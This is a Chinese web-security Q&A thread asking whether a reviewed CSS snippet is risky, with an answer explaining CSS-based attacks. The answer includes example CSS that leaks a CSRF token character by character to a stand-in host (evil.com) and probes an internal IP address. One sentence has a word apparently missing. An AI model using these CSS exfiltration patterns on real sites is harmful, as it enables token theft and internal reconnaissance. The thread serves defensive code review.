前端代码审查时如何判断CSS是否存在安全风险？

极客阳阳提问于 2026-03-18 22:52:20 阅读 9

安全

最近在做Web安全Code Review，看到团队有人写了下面这段CSS，我不确定会不会有安全隐患。CSS一般不执行逻辑，但听说某些写法可能被用来做信息探测或者配合XSS攻击？

.user-card {
  background: url('https://external-cdn.com/theme.css');
  --user-id: attr(data-user-id);
  content: var(--user-id);
}

特别是用了外部URL加载样式和CSS变量读取属性值，这种写法在安全测试中需要重点关注吗？

Web安全测试

我来解答赞 2 收藏

反馈

1 条解答

司空浚博 Lv1

这段CSS确实有几个值得注意的点，我来帮你分析一下。

先说结论：外部URL加载样式这块是需要关注的，但代码本身写法有问题。

第一步：看看这段代码的实际行为

.user-card {

  /* 这里有问题：background应该是图片URL，不应该指向.css文件 */

  background: url('https://external-cdn.com/theme.css');

  

  /* CSS变量定义，没安全问题 */

  --user-id: attr(data-user-id);

  

  /* content属性使用var，这里也有问题 */

  content: var(--user-id);

}

background: url('https://external-cdn.com/theme.css') 这种写法浏览器并不会把CSS文件当图片加载，实际上这行基本等于无效。你同事可能是想引用外部样式表，但用错了属性。

第二步：外部URL加载CSS的风险

如果你是想问“加载外部CSS文件有没有风险”，那确实有。攻击者能控制CSS内容时，可以做这些事：

信息探测（CSS Keylogger）

/* 攻击者可以通过属性选择器探测CSRF token */

input[name="csrf"][value^="a"] { background-image: url("https://evil.com/log?char=a"); }

input[name="csrf"][value^="b"] { background-image: url("https://evil.com/log?char=b"); }

/* 逐个字符探测token值 */

内网资源探测

/* 尝试加载内网资源，根据是否404判断端口/服务是否存在 */

div { background-image: url("http://192.168.1.1:8080/admin"); }

样式覆盖进行UI欺骗

/* 覆盖原有样式，修改登录按钮行为 */

.login-btn { background: url("https://evil.com/phishing"); }

第三步：CSS变量和attr()的风险评估

你代码里这两行：

--user-id: attr(data-user-id);

content: var(--user-id);

这个其实问题不大。attr() 函数在content属性中使用是标准用法，用来读取HTML属性值显示在页面上。它本身不会执行JavaScript，也不会直接导致信息泄露。

但要注意：如果 data-user-id 包含用户可控的内容（比如从URL参数传入），且被直接渲染到HTML中，那XSS风险是在HTML层面，不在CSS这层。

总结一下

1. 外部CDN加载CSS — 需要关注，确保CDN可信且使用了HTTPS
2. background指向.css文件 — 这是个bug，不会造成安全问题但也没实际作用
3. attr() + CSS变量 — 本身安全，但要确保数据来源可靠

如果你们确实需要加载外部样式，更安全的做法是用加载，并且确保CDN域名在可信列表中。

2026-03-18 23:03